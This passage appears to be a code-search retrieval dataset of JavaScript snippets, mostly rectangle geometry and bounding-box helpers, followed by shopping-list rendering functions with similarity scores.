{\n rect = svg.getBoundingClientRect();\n rectTop = rect.top;\n rectLeft = rect.left;\n}", "title": "" }, { "docid": "721b29c4570f712960c8e169d4cec156", "score": "0.5838384", "text": "function main4(x,y,x1,y1){\n return (xy(x+x1,y+y1)) ||\n (xy(x-x1,y+y1)) ||\n (xy(x+y1,y+x1)) ||\n (xy(x+y1,y-x1));\n}", "title": "" }, { "docid": "05c8f6241777591f00df67d33948cf60", "score": "0.5829358", "text": "function rectArea(rect) {\n //Slight measuring issue with rect.width = inside perimeter while line.width = outside\n var area = rect.width * rect.height * Math.pow(calibrationRatio, 2);\n document.getElementById(\"lengthOutput\").value = (rect.width * calibrationRatio).toFixed(2);\n document.getElementById(\"widthOutput\").value = (rect.height * calibrationRatio).toFixed(2);\n document.getElementById(\"areaOutput\").value = area.toFixed(2);\n return area;\n}", "title": "" }, { "docid": "262d02047ac3646f39fa5d1c74eae03d", "score": "0.5827809", "text": "function getRect(points) {\n var minX, minY, maxX, maxY;\n \n for (var ii = points.length; ii--; ) {\n var xy = points[ii];\n \n // update the min x and min y\n minX = (typeof minX === 'undefined') || xy.x < minX ? xy.x : minX;\n minY = (typeof minY === 'undefined') || xy.y < minY ? xy.y : minY;\n \n // update the max x and max y\n maxX = (typeof maxX === 'undefined') || xy.x > maxX ? xy.x : maxX;\n maxY = (typeof maxY === 'undefined') || xy.y > maxY ? xy.y : maxY;\n } // for\n \n return xyRectTools.init(minX, minY, maxY, maxY); \n }", "title": "" }, { "docid": "2dda08852b8c794707d111ce24436ad6", "score": "0.58176816", "text": "_getBounds( center, width, height, project, unproject ){\n const xy = project( center );\n const ul = unproject( [ xy[0] - ( width / 2 ), xy[1] - ( height / 2 ) ] );\n const lr = unproject( [ xy[0] + ( width / 2 ), xy[1] + ( height / 2 ) ] );\n return [ ul[0], lr[1], lr[0], ul[1] ];\n }", "title": "" }, { "docid": "51162da2361d86a2d409630b18c36a0f", "score": "0.5801657", "text": "function rectA(height, width) {\r\n return height * width\r\n}", "title": "" }, { "docid": "6b2a15d7709f0642ece55a85e0936a04", "score": "0.579892", "text": "function getNumsInArea(partial, rowRange, colRange, row, col) {\n\t\t//console.log(\"3\");\n\t\tvar inArea = [];\n\t\tfor (var r = rowRange[0]; r <= rowRange[1]; r++) {\n\t\t\tfor (var c = colRange[0]; c <= colRange[1]; c++) {\n\t\t\t\tif (r != row || c != col) {\n\t\t\t\t\tinArea.push(partial[r][c]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn inArea;\n\t}", "title": "" }, { "docid": "604a4861ef425d19d6a5e8b659c0bb31", "score": "0.57947636", "text": "static segment_aabb_point(x1, y1, x2, y2, rx1, ry1, rw, rh) {\n function get_intersection(dist_1, dist_2) {\n if (dist_1 * dist_2 >= 0) {\n return null;\n }\n\n if (Math.abs(dist_1 - dist_2) < 1e-8) {\n return null;\n }\n\n const coeff = -dist_1 / (dist_2 - dist_1);\n const x = x1 + (x2 - x1) * coeff;\n const y = y1 + (y2 - y1) * coeff;\n return [ x, y, Utils.square_distance(x1, y1, x, y) ];\n }\n\n const rx2 = rx1 + rw;\n const ry2 = ry1 + rh;\n\n function in_box_x(point) {\n return point && point[0] > rx1 && point[0] < rx2 ? point : null;\n }\n\n function in_box_y(point) {\n return point && point[1] > ry1 && point[1] < ry2 ? point : null;\n }\n\n function shorter(a, b) {\n if (a && b) {\n return a[2] < b[2] ? a : b;\n }\n return a || b;\n }\n\n if (x1 < rx1 && x2 < rx1) {\n return false;\n }\n\n if (x1 > rx2 && x2 > rx2) {\n return false;\n }\n\n if (y1 < ry1 && y2 < ry1) {\n return false;\n }\n\n if (y1 > ry2 && y2 > ry2) {\n return false;\n }\n\n if (x1 > rx1 && x1 < rx2 && y1 > ry1 && y1 < ry2) {\n return [ x1, y1 ];\n }\n\n return shorter(shorter(shorter(in_box_y(get_intersection(x1 - rx1, x2 - rx2)),\n in_box_x(get_intersection(y1 - ry1, y2 - ry1))),\n in_box_y(get_intersection(x1 - rx2, x2 - rx2))),\n in_box_x(get_intersection(y1 - ry2, y2 - ry2)));\n }", "title": "" }, { "docid": "88426df9d0fe938330b63e1c7d57c192", "score": "0.5792336", "text": "function solveRect(l, b) {\n // Takes length and breadth of retangle, computes rectangle\n console.log(\"Solving for rectangle l/w: \" + l + w);\n\n if ( l<=0 || b<= 0) {\n console.log(\"bad dimensions\");\n }\n else {\n console.log(\"Perimeter is : \", rect.perimeter(l, b));\n console.log(\"Area is : \", rect.area(l, b));\n }\n}", "title": "" }, { "docid": "15340bb03310a41bed64f3c6559eae46", "score": "0.57904315", "text": "function drawRect(cx, cy, w, h) {\n\n // THIS ANGLES AIM TO EACH CORNER OF THE RECTANGLE\n // c -- d\n // | |\n // b -- a\n\n let a = atan2(h, w);\n let b = -(a - PI / 2) + PI / 2;\n let c = a + PI;\n let d = 2 * PI - a;\n\n //ALL THE TRANSLATIONS AND ROTATIONS\n //BETWEEN PUSH() AND POP() WILL BE UNDONE \n //AFTER THE BLOCK RESPECTIVE POP()\n push()\n \n //(0,0) IS NOW AT THE CENTER OF THE RECTANGLE\n translate(cx, cy);\n //BEGIN A SHAPE\n beginShape();\n //RUNS AROUND THE ELLIPSE (FROM 0 TO TWO PI)\n for (let i = 0; i < TWO_PI; i += 0.001) {\n let x, y;\n\n //POSITIONS P1, P2, P3, P4\n // c --P4-- d\n // | |\n // P3 P1\n // | |\n // b --P2-- a\n\n //P1\n if (i > d || i <= a) {\n x = w / 2;\n y = tan(i) * w / 2;\n }\n //P2\n else if (i >= a && i < b) {\n x = (1 / tan(i)) * h / 2;\n y = h / 2;\n }\n //P3\n else if (i > b && i <= c) {\n x = -w / 2;\n y = -tan(i) * w / 2;\n }\n //P4\n else if (i >= c && i < d) {\n x = -(1 / tan(i)) * h / 2;\n y = -h / 2;\n }\n\n //ADD THE VERTEX\n vertex(x, y);\n }\n //END THE SHAPE\n endShape(CLOSE);\n\n pop();\n}", "title": "" }, { "docid": "00153cc0e8b4e571ef7ac4f9c584b964", "score": "0.5782286", "text": "static intersect(rect1, rect2) {\n\t\tconst rectI = new Rectangle();\n\t\trectI.left = Math.max(rect1.left, rect2.left);\n\t\trectI.top = Math.max(rect1.top, rect2.top);\n\t\trectI.right = Math.min(rect1.right, rect2.right);\n\t\trectI.bottom = Math.min(rect1.bottom, rect2.bottom);\n\t\treturn rectI;\n\t}", "title": "" }, { "docid": "e927d909fd34a2051dd0c91cbdad6c23", "score": "0.57787937", "text": "get pixelRect() {}", "title": "" }, { "docid": "bd55bd3d9938c0c6dce642caf35d9dee", "score": "0.57704014", "text": "function rectDistance(centerx, centery, width, height, px, py) {\n var dx = Math.max(Math.abs(px - centerx) - width / 2, 0);\n\tvar dy = Math.max(Math.abs(py - centery) - height / 2, 0);\n\n\t//it's inside\n\tif(dx == 0 && dy == 0){\n\t\treturn Math.min(Math.abs(py-centery-(height/2)),\n\t\t\t\t\t\tMath.abs(py-centery+(height/2)),\n\t\t\t\t\t\tMath.abs(px-centerx-(width/2)),\n\t\t\t\t\t\tMath.abs(px-centerx+(width/2)));\n\t}\n return Math.sqrt(dx*dx + dy*dy);\n}", "title": "" }, { "docid": "97df835a5a573f76461c4440203de1a4", "score": "0.5767899", "text": "function Q(){var t=c.getBoundingClientRect(),e=\"offset\"+[\"Width\",\"Height\"][r.ort];return 0===r.ort?t.width||c[e]:t.height||c[e]}", "title": "" }, { "docid": "10d8b61aa41452e6766601e021f2c268", "score": "0.57652396", "text": "function areaOfEclipse(r1, r2) {\n if (r2 === void 0) { r2 = r1; }\n return Math.PI * r1 * r2;\n}", "title": "" }, { "docid": "671b4911de9da01573e9d79a0ba6756b", "score": "0.57642776", "text": "getBounds() {\n let sp = start.getConnectionPoint(center(end.getBounds())) // StartPoint\n let ep = end.getConnectionPoint(center(start.getBounds())) // End Point\n return {x: sp.x, y: sp.y, width: Math.abs(ep.x-sp.x), height: Math.abs(ep.y-sp.y)}\n }", "title": "" }, { "docid": "66deaaabd9e79a07026721cedc93e80a", "score": "0.57639164", "text": "function area(w,h){\n return w * h \n}", "title": "" }, { "docid": "18a1ee2f3be0ef46295bf6eb03f1c3d4", "score": "0.57591707", "text": "function getAvgCorner( x1, y1, x2, y2 ) {\n return getAvg(\n get( x1, y1 ),\n get( x2, y1 ),\n get( x1, y2 ),\n get( x2, y2 )\n )\n}", "title": "" }, { "docid": "d548680cd94f2b4d37f0ed068391f940", "score": "0.5758321", "text": "function scanRect(idata, bx, by, bw, bh, cw) {\n bx = Math.round(bx);\n by = Math.round(by);\n let count = 0, r = 0, g = 0, b = 0;\n for (let y = 0; y < bh; y++) {\n for (let x = 0; x < bw; x++) {\n let index = ((y + by) * cw + (x + bx)) * 4;\n r += idata.data[index + 0];\n g += idata.data[index + 1];\n b += idata.data[index + 2];\n count ++;\n }\n }\n return [\n Math.round(r/count),\n Math.round(g/count),\n Math.round(b/count)\n ];\n}", "title": "" }, { "docid": "a1eccbfff5e9ee6b496cd18b746af6e6", "score": "0.5755366", "text": "intersectRect(a, b) {\r\n return (\r\n a.left <= b.right &&\r\n b.left <= a.right &&\r\n a.top <= b.bottom &&\r\n b.top <= a.bottom\r\n );\r\n }", "title": "" }, { "docid": "3f13fcce13e7b3d2d2f337ba039ddcec", "score": "0.57545936", "text": "function getBoundingBox(t){\n var bb = {};\n bb.yLeast = t.n.y;\n bb.yMost = t.n.y;\n bb.xLeast = t.n.x;\n bb.xMost = t.n.x;\n\n t.parents.forEach(function(p){\n if(p.y > bb.yMost){ bb.yMost = p.y; }\n if(p.y < bb.yLeast){ bb.yLeast = p.y; }\n if(p.x > bb.xMost){ bb.xMost = p.x; }\n if(p.x < bb.xLeast){ bb.xLeast = p.x; }\n })\n //console.log(bb);\n //return bb;\n\n var toY = bb.yLeast + ((bb.yMost - bb.yLeast) / 2);\n var toX = bb.xLeast + ((bb.xMost - bb.xLeast) / 2);\n var scale = 1;\n toX = (w/2-toX*scale)\n toY = (h/2-toY*scale)\n\n showLocation(toX, toY, scale)\n}", "title": "" }, { "docid": "d0981787f128bfdd116d6f36b7fb930c", "score": "0.5751482", "text": "function intersectRect(r1, r2){\n\treturn r1.minx < r2.maxx && r2.minx < r1.maxx && r1.miny < r2.maxy && r2.miny < r1.maxy;\n}", "title": "" }, { "docid": "b3f5744a254f629e27e0f4afc56c6c2e", "score": "0.57455146", "text": "_getLocationAtCenter() {\n const {width, height, bounds} = this._viewportProps;\n\n if (!bounds) {\n return null;\n }\n\n const viewport = new OrbitViewport(this._viewportProps);\n\n const C0 = viewport.unproject([width / 2, height / 2, 0]);\n const C1 = viewport.unproject([width / 2, height / 2, 1]);\n const sum = [0, 0, 0];\n let count = 0;\n\n [\n // depth at intersection with X = minX\n interpolate(bounds.minX, C0[0], C1[0]),\n // depth at intersection with X = maxX\n interpolate(bounds.maxX, C0[0], C1[0]),\n // depth at intersection with Y = minY\n interpolate(bounds.minY, C0[1], C1[1]),\n // depth at intersection with Y = maxY\n interpolate(bounds.maxY, C0[1], C1[1]),\n // depth at intersection with Z = minZ\n interpolate(bounds.minZ, C0[2], C1[2]),\n // depth at intersection with Z = maxZ\n interpolate(bounds.maxZ, C0[2], C1[2])\n ].forEach(d => {\n // worldspace position of the intersection\n const C = vec3_lerp([], C0, C1, d);\n // check if position is on the bounding box\n if (inRange(C[0], bounds.minX, bounds.maxX) &&\n inRange(C[1], bounds.minY, bounds.maxY) &&\n inRange(C[2], bounds.minZ, bounds.maxZ)) {\n count++;\n vec3_add(sum, sum, C);\n }\n });\n\n return count > 0 ? vec3_scale([], sum, 1 / count) : null;\n }", "title": "" }, { "docid": "08567df78084c3855fc276ceb84a87ca", "score": "0.5741625", "text": "getSearchArea(latDif, lngDif, k) {\n var lat1 = this.start.getLatitude();\n var lng1 = this.start.getLongitude();\n var lat2 = this.end.getLatitude();\n var lng2 = this.end.getLongitude();\n var latCushion = (latDif * k) / 100; // latitude cushion of k%\n var lngCushion = (lngDif * k) / 100; // longitude cushion of k%\n var corner = this.getStartCorner();\n switch (corner) {\n case 0:\n // start in bottom right\n return [\n [lat1 - latCushion, lng1 + lngCushion], // bottom right\n [lat2 + latCushion, lng1 + lngCushion], // top right\n [lat1 - latCushion, lng2 - lngCushion], // bottom left\n [lat2 + latCushion, lng2 - lngCushion], // top left\n ];\n case 1:\n // start in bottom left\n return [\n [lat1 - latCushion, lng2 + lngCushion], // bottom right\n [lat2 + latCushion, lng2 + lngCushion], // top right\n [lat1 - latCushion, lng1 - lngCushion], // bottom left\n [lat2 + latCushion, lng1 - lngCushion], // top left\n ];\n case 2:\n // start in top right\n return [\n [lat2 - latCushion, lng1 + lngCushion], // bottom right\n [lat1 + latCushion, lng1 + lngCushion], // top right\n [lat2 - latCushion, lng2 - lngCushion], // bottom left\n [lat1 + latCushion, lng2 - lngCushion], // top left\n ];\n default:\n // start in top left\n return [\n [lat2 - latCushion, lng2 + lngCushion], // bottom right\n [lat1 + latCushion, lng2 + lngCushion], // top right\n [lat2 - latCushion, lng1 - lngCushion], // bottom left\n [lat1 + latCushion, lng1 - lngCushion], // top left\n ];\n }\n }", "title": "" }, { "docid": "21e0cc5af20e0e8233844631faa2744e", "score": "0.573793", "text": "function B(a,b){return{left:Math.min(Math.max(a.left,b.left),b.right),top:Math.min(Math.max(a.top,b.top),b.bottom)}}", "title": "" }, { "docid": "2b484340cd015b422b13bb612073abf8", "score": "0.5737395", "text": "function pathCornerForPolygons(r, va0, va1) {\n if (r === 0) return _pathSectorClosed(2 * chw);\n\n var xy0 = ra2xy(r, va0);\n var xy1 = ra2xy(r, va1);\n var x = clampTiny((xy0[0] + xy1[0]) / 2);\n var y = clampTiny((xy0[1] + xy1[1]) / 2);\n var innerPts, outerPts;\n\n if (x && y) {\n var m = y / x;\n var mperp = -1 / m;\n var midPts = findXYatLength(chw, m, x, y);\n innerPts = findXYatLength(chl, mperp, midPts[0][0], midPts[0][1]);\n outerPts = findXYatLength(chl, mperp, midPts[1][0], midPts[1][1]);\n } else {\n var dx, dy;\n if (y) {\n // horizontal handles\n dx = chl;\n dy = chw;\n } else {\n // vertical handles\n dx = chw;\n dy = chl;\n }\n innerPts = [[x - dx, y - dy], [x + dx, y - dy]];\n outerPts = [[x - dx, y + dy], [x + dx, y + dy]];\n }\n\n return 'M' + innerPts.join('L') + 'L' + outerPts.reverse().join('L') + 'Z';\n }", "title": "" }, { "docid": "030cb695b553133ba23ffd770f191276", "score": "0.57368577", "text": "FindCoverBox() {\n var pointList = this.path;\n var maxLat = -190;\n var maxLng = -190;\n var minLat = 190;\n var minLng = 190;\n for (var i = 0; i < pointList.length; ++i) {\n var point = pointList[i];\n if (point.lat > maxLat) maxLat = point.lat;\n if (point.lat < minLat) minLat = point.lat;\n if (point.lng > maxLng) maxLng = point.lng;\n if (point.lng < minLng) minLng = point.lng;\n }\n var _height = this.GetDistanceFromLatLonInKm(minLat, 0, maxLat, 0);\n var _width = this.GetDistanceFromLatLonInKm(0, minLng, 0, maxLng);\n console.log(_height);\n console.log(_width);\n return {\n bounds: {\n north: maxLat,\n south: minLat,\n east: maxLng,\n west: minLng,\n },\n edges: {\n height: _height,\n width: _width,\n }\n\n }\n }", "title": "" }, { "docid": "b9f6227a7706ac6eb59ce7dd0622f5ab", "score": "0.57368165", "text": "closestPoint( x, y, orientation ) {\n let rtn = {x: x, y: y};\n\n // Min is top left corner\n // Max is bottom right corner\n let yMax = this.y + this.height;\n let yMin = this.y;\n // Could be change to this for P E R F O R M A N C E, but it \n // shouldnt make a big difference\n // (1-orientation)*Infinity + width\n let xMax = (1-orientation) ? this.x + this.width : Infinity;\n let xMin = !(1-orientation) ? this.x : -Infinity;\n\n rtn.x = ( x > xMax ) ? xMax : rtn.x;\n rtn.x = ( x < xMin ) ? xMin : rtn.x;\n rtn.y = ( y > yMax ) ? yMax : rtn.y;\n rtn.y = ( y < yMin ) ? yMin : rtn.y;\n\n return rtn;\n }", "title": "" }, { "docid": "9ef492c0046a02b02b9b1f22b8a64fee", "score": "0.5734865", "text": "function calculateTheClosest(){\n for (var i = 0; i < rects.length; i++) {\n var r = rects[i];\n if(typeof closest == 'undefined'){\n closest = r;\n } \n var hypotenuse = calcHypotenuse(WIDTH/2 - r.x,HEIGHT/2 - r.y);\n var hypotenuseClosest = calcHypotenuse(Math.abs(WIDTH/2 - closest.x),Math.abs(HEIGHT/2 - closest.y));\n if(hypotenuse<hypotenuseClosest){\n closest=r;\n }\n }\n}", "title": "" }, { "docid": "f8c60aa5028c439c6b215b920cfbbe96", "score": "0.57316995", "text": "function calcRectangleArea (base, height){\n return base*height;\n}", "title": "" }, { "docid": "ccef521e74764245fb540b452a412eee", "score": "0.5721155", "text": "function enclosingOsgbRect(WGleft,WGbottom,WGtop,WGright){\n\n\tvar blOGB = WGS84ToOGB(WGbottom,WGleft,0);\n\tvar trOGB = WGS84ToOGB(WGtop,WGright,0);\n\tvar brOGB = WGS84ToOGB(WGbottom,WGright,0);\n\tvar tlOGB = WGS84ToOGB(WGtop,WGleft,0);\n\t\n\tvar blEN = LLtoNE(blOGB.lat,blOGB.lon);\n\tvar trEN = LLtoNE(trOGB.lat,trOGB.lon);\n\tvar brEN = LLtoNE(brOGB.lat,brOGB.lon);\n\tvar tlEN = LLtoNE(tlOGB.lat,tlOGB.lon);\n\t\n\tvar e = Math.min(blEN.east,tlEN.east); \n\tvar w = Math.max(brEN.east,trEN.east); \n\tvar s = Math.min(blEN.north,brEN.north); \n\tvar n = Math.max(trEN.north,tlEN.north); \n\t\n\treturn new OGBRect(new OGBNorthEast(e,s),new OGBNorthEast(w,n));\n}", "title": "" }, { "docid": "0e5d70ca95b22fba28adf2b7d59738d0", "score": "0.5716788", "text": "_atRoomCorner(room) {\n if (room.isCornerPoint(this.x, this.y)) {\n return true\n }\n if (room.isCornerPoint((this.x+this.width)-1, this.y)) {\n return true\n }\n if (room.isCornerPoint(this.x, (this.y+this.height)-1)) {\n return true\n }\n if (room.isCornerPoint((this.x+this.width)-1, (this.y+this.height)-1)) {\n return true\n }\n return false\n }", "title": "" }, { "docid": "182d9c555d4c08f67eb87f37bfacb622", "score": "0.5701184", "text": "function getRectangleArea(length, width) {\n // return the area of the rectangle by using length and width\n // code here\n<<<<<<< HEAD\n var pro = length * width;\n return pro;\n}", "title": "" }, { "docid": "6bb2f884f550113608c6e6dd3805b3e5", "score": "0.5697079", "text": "function area(w, h) {\n var area = w * h;\n return area\n}", "title": "" }, { "docid": "005a5a6acaad1b6a1d1576f3b35fe726", "score": "0.5691376", "text": "function square_corners()\n{\n var origin = new Array(gZero,gZero);\n var oX = step_right(origin, gSquare);\n var oY = step_down(origin, gSquare);\n var oXY =step_downright(origin, gSquare);\n \n return new Array(origin,oX,oXY,oY);\n}", "title": "" }, { "docid": "dc03f6930d3a3582e361af0967ebd04e", "score": "0.56883764", "text": "function _getBoundingRect(rects) {\n var bounds = {\n left: Number.POSITIVE_INFINITY,\n top: Number.POSITIVE_INFINITY,\n right: Number.NEGATIVE_INFINITY,\n bottom: Number.NEGATIVE_INFINITY,\n width: Number.NaN,\n height: Number.NaN\n };\n\n forEach(rects, function(rect) {\n if (rect.left < bounds.left) {\n bounds.left = rect.left;\n }\n if (rect.top < bounds.top) {\n bounds.top = rect.top;\n }\n if (rect.left + rect.width > bounds.right) {\n bounds.right = rect.left + rect.width;\n }\n if (rect.top + rect.height > bounds.bottom) {\n bounds.bottom = rect.top + rect.height;\n }\n });\n bounds.width = bounds.right - bounds.left;\n bounds.height = bounds.bottom - bounds.top;\n return bounds;\n}", "title": "" }, { "docid": "44e040e832f0e30eadf4494c54448b40", "score": "0.5685421", "text": "function _getBoundingRect(rects) {\r\n var bounds = {\r\n left: Number.POSITIVE_INFINITY,\r\n top: Number.POSITIVE_INFINITY,\r\n right: Number.NEGATIVE_INFINITY,\r\n bottom: Number.NEGATIVE_INFINITY,\r\n width: Number.NaN,\r\n height: Number.NaN\r\n };\r\n\r\n forEach(rects, function(rect) {\r\n if (rect.left < bounds.left) {\r\n bounds.left = rect.left;\r\n }\r\n if (rect.top < bounds.top) {\r\n bounds.top = rect.top;\r\n }\r\n if (rect.left + rect.width > bounds.right) {\r\n bounds.right = rect.left + rect.width;\r\n }\r\n if (rect.top + rect.height > bounds.bottom) {\r\n bounds.bottom = rect.top + rect.height;\r\n }\r\n });\r\n bounds.width = bounds.right - bounds.left;\r\n bounds.height = bounds.bottom - bounds.top;\r\n return bounds\r\n}", "title": "" }, { "docid": "44e040e832f0e30eadf4494c54448b40", "score": "0.5685421", "text": "function _getBoundingRect(rects) {\r\n var bounds = {\r\n left: Number.POSITIVE_INFINITY,\r\n top: Number.POSITIVE_INFINITY,\r\n right: Number.NEGATIVE_INFINITY,\r\n bottom: Number.NEGATIVE_INFINITY,\r\n width: Number.NaN,\r\n height: Number.NaN\r\n };\r\n\r\n forEach(rects, function(rect) {\r\n if (rect.left < bounds.left) {\r\n bounds.left = rect.left;\r\n }\r\n if (rect.top < bounds.top) {\r\n bounds.top = rect.top;\r\n }\r\n if (rect.left + rect.width > bounds.right) {\r\n bounds.right = rect.left + rect.width;\r\n }\r\n if (rect.top + rect.height > bounds.bottom) {\r\n bounds.bottom = rect.top + rect.height;\r\n }\r\n });\r\n bounds.width = bounds.right - bounds.left;\r\n bounds.height = bounds.bottom - bounds.top;\r\n return bounds\r\n}", "title": "" }, { "docid": "24d38385da7bf4e547f8eadd7185ce87", "score": "0.5684207", "text": "function K(){var e=l.getBoundingClientRect(),t=\"offset\"+[\"Width\",\"Height\"][r.ort];return 0===r.ort?e.width||l[t]:e.height||l[t]}", "title": "" }, { "docid": "f7d2aa5ee3638ac604514e4981e19343", "score": "0.56823564", "text": "function x(){var e=le.getBoundingClientRect(),t=\"offset\"+[\"Width\",\"Height\"][n.ort];return 0===n.ort?e.width||le[t]:e.height||le[t]}", "title": "" }, { "docid": "6bd0a56c07762323d2449b3b23114cc2", "score": "0.56791985", "text": "function intersectRectangles(rectangle1, rectangle2) {\n let x1 = Math.max(rectangle1.x, rectangle2.x);\n let y1 = Math.max(rectangle1.y, rectangle2.y);\n let x2 = Math.min(rectangle1.x + rectangle1.width, rectangle2.x + rectangle2.width);\n let y2 = Math.min(rectangle1.y + rectangle1.height, rectangle2.y + rectangle2.height);\n if (x2 >= x1 && y2 >= y1)\n return { x: x1, y: y1, width: x2 - x1, height: y2 - y1 };\n else\n return { x: 0, y: 0, width: 0, height: 0 };\n}", "title": "" }, { "docid": "dd1196e18a45dcbb3415f3893b6bdeee", "score": "0.56756824", "text": "getIndex(pRect) {\n var bound=pRect.bound;\n\n var index = -1;\n var verticalMidpoint = this.bounds.getX() + (this.bounds.getWidth() / 2);\n var horizontalMidpoint = this.bounds.getY() + (this.bounds.getHeight() / 2);\n\n // Object can completely fit within the top quadrants\n var topQuadrant = (bound.getY() < horizontalMidpoint && bound.getY() + bound.getHeight() < horizontalMidpoint);\n // Object can completely fit within the bottom quadrants\n var bottomQuadrant = (bound.getY() > horizontalMidpoint);\n\n // Object can completely fit within the left quadrants\n if (bound.getX() < verticalMidpoint && bound.getX() + bound.getWidth() < verticalMidpoint) {\n if (topQuadrant) {\n index = 1;\n } else if (bottomQuadrant) {\n index = 2;\n }\n }\n // Object can completely fit within the right quadrants\n else if (bound.getX() > verticalMidpoint) {\n if (topQuadrant) {\n index = 0;\n } else if (bottomQuadrant) {\n index = 3;\n }\n }\n\n return index;\n }", "title": "" }, { "docid": "b3fa77b3561b6f1a288e4fa4559cb3c4", "score": "0.56707066", "text": "function calculateCoordinates(startEle, endEle) {\n var startPos = $(startEle).offset();\n var endPos = $(endEle).offset();\n var squareWidth= $(startEle).outerWidth();\n var squareHeight= $(startEle).outerHeight();\n var borderWidth = getBorderWidth();\n return [\n startPos.left + borderWidth,\n startPos.top + (squareHeight / 2),\n startPos.left + squareWidth - borderWidth,\n startPos.top + (squareHeight / 2),\n endPos.left + (squareWidth / 2),\n endPos.top + (squareHeight / 4),\n ];\n }", "title": "" }, { "docid": "64cdd6f98b8539ec539fee5e03b6a959", "score": "0.56696576", "text": "function Rectangle_area() { return this.width * this.height; }", "title": "" }, { "docid": "117bd37ffcd15e8ed0cad3ddcd8baeb5", "score": "0.5662916", "text": "function getCoords(r, i, l){\n\tif (r > i || (8*r+14) < i){\n\t\treturn [-1,-1];\n\t}\n\telse if (i === r){\n\t\treturn [0,0];\n\t}\n\telse if (i >= (2*r+1) && i <= (2*r+2)){\n\t\treturn [1, i - (2*r) - 1];\n\t}\n\telse if (i >= (4*r+3) && i <= (4*r+6)){\n\t\treturn [2, i - (4*r) - 3];\n\t}\n\telse if (i >= (8*r+7) && i <= (8*r+14)){\n\t\treturn [3, i - (8*r) - 7];\n\t}\n\telse\n\t\treturn [-1,-1];\n}", "title": "" }, { "docid": "90a8c26a059629ce688dc4a8828404ca", "score": "0.56591576", "text": "areaAt(x, y){return this.pixelArea;}", "title": "" } ]
ee6e3e91236bdb75091aa2dae19ae727
Displaying each item from our list on the page by appending it to .shoppinglist
[ { "docid": "ab8dd7f24c2e2a02899cb30212c9ff88", "score": "0.6971244", "text": "function displayShoppingItems(){\n items.forEach((item, i) => {\n $(\".shoppinglist\").append(\n `\n <div class=\"singleproduct\">\n\n <div class=\"productInfo\">\n <div class=\"productHead\">\n <p>${item.itemName}</p>\n <img class=\"productImage\" src=\"images/watch${i+1}.jpg\" >\n </div>\n\n <div class=\"itemDescription\">${item.description}</div>\n <div>$${item.price},00</div>\n </div>\n\n\n <div class= \"productButtons\">\n <i class=\"addtocart cart${i} fas fa-plus-circle\"></i>\n <i class=\"remove cart${i} fas fa-trash-alt\"></i>\n </div>\n\n </div>\n `\n );\n productButtons(item, i)\n // if(localStorage.getItem('cartProducts')[item.itemName].numInCart)\n });\n}", "title": "" } ]
[ { "docid": "09bd6fb69fcbd33bdb800631e8bd254d", "score": "0.7995038", "text": "function renderShoppingList() {\n // loop through store using map to generate html to be placed on page\n const items = STORE.map(listItemToHTML);\n // place html on page\n $('ul.shopping-list').html(items.join(''));\n}", "title": "" }, { "docid": "eccdb2ac113eae35890a22bd89c0bbb0", "score": "0.7284672", "text": "function renderShoppingList(){\n //render shopping list in the DOM \n //where will it be rendered in html? - <ul class=\"shopping-list js-shopping-list\"></ul> need to target that class when writing function\n //what - for each item in store, a string is to be generated\n //join each element into one string, insert back to DOM\n const shoppingListItemsString = generateShoppingItemsString(store);\n $('.js-shopping-list').html(shoppingListItemsString);\n}", "title": "" }, { "docid": "2c9fe16b5cdbe196ee3c8dfbff59a20d", "score": "0.7216001", "text": "function loadItemsToList() {\n var shoppingItems = JSON.parse(localStorage.getItem(\"shoppingItems\"));\n for (let item of shoppingItems) {\n $( \"#CreateShoppinglist > ul\" ).append( \"<li>\" + item + \"</li>\" );\n }\n}", "title": "" }, { "docid": "b37bbe13613a12a58f55a384bea2559d", "score": "0.7165945", "text": "function displayShoppingLists(){\n var ShoppingLists = JSON.parse(localStorage.getItem(\"ShoppingListsArrayNames\"));\n if(ShoppingLists != null){\n if(ShoppingLists.length > 0){\n for (let item of ShoppingLists) {\n $(\"#ShoppingLists\").append(\"<li><a href='ShoppingListItems.html' data-transition='slide'>\"\n + item + \"</a></li>\");\n }\n }\n else {\n $( \"#ShoppingLists\" ).append(\"<center><li style='color:red'>There are currently\" +\n \" no shopping lists.<li></center>\");\n }\n }\n else {\n $( \"#ShoppingLists\" ).append(\"<center><li style='color:red'>There are currently\" +\n \" no shopping lists.<li></center>\");\n }\n}", "title": "" }, { "docid": "7c57de431a8f9d8f28578b024fa24044", "score": "0.7006584", "text": "function setupProductList() {\n if(document.getElementById(\"productList\")) {\n for (productSku of Object.keys(products)) {\n\t // products[productSku].name\t\n\t $(\"#productList\").append(\n\t $(\"<a>\").attr(\"href\",\"product.html?sku=\" + productSku).append(\t \n $(\"<div>\").addClass(\"productItem\").append(\n\t $(\"<h2>\").addClass(\"productTitle\").text(products[productSku].name)\n\t ).append(\n\t\t $(\"<span>\").addClass(\"productPrice\").text(products[productSku].price)\n\t ).append(\n $(\"<img>\").addClass(\"productImage\").attr(\"src\", \"img/\" + products[productSku].img)\n\t )\n\t )\n\t );\n }\n }\n}", "title": "" }, { "docid": "5850501e237fd3534f85a5dc13c536c9", "score": "0.70003676", "text": "function displayItems() {\n const html = items\n .map(\n (item) => `<li class=\"shopping-item\">\n <input value=\"${item.id}\" type=\"checkbox\" ${item.complete && 'checked'}>\n <span class=\"itemName\">${item.name}</span>\n <button aria-label=\"Remove ${item.name}\" value=\"${item.id}\">&times;</button>\n </li>`\n )\n .join('');\n // console.log(html);\n list.innerHTML = html;\n}", "title": "" }, { "docid": "f191c12397565e61aab8900ce9172e78", "score": "0.68770295", "text": "function setUpList () {\n var listParent = document.getElementById('resultList');\n listParent.append(resultsList);\n\n for (var key in productObject) {\n var product = productObject[key];\n product.name;\n product.timesShown;\n product.timesClicked;\n var results = 'name: ' + product.name + ' || times shown: ' + product.timesShown + ' || times clicked: ' + product.timesClicked;\n var display = document.createElement('li');\n display.textContent = results;\n resultsList.appendChild(display);\n }\n}", "title": "" }, { "docid": "12b248648958cce7b689b8d8862557bd", "score": "0.68448055", "text": "function retrieveShoppingListItems(){\n var chosenList = localStorage.getItem(\"chosenList\");\n $(\"#ShoppingListItemsHeading\").html(chosenList);\n var shoppingList = JSON.parse(localStorage.getItem(chosenList));\n if (shoppingList.length > 0){\n shoppingList = convertObjArrayToItemArray(shoppingList);\n for (var i = 0; i < shoppingList.length; i++){\n $(\"#ShoppingListItems\").append(\"<li data-icon='delete'><a href='#'>\"\n + shoppingList[i].name + \" <span class='ui-li-count'>Quantity: \"\n + shoppingList[i].quantity +\"</span></a></li>\");\n }\n 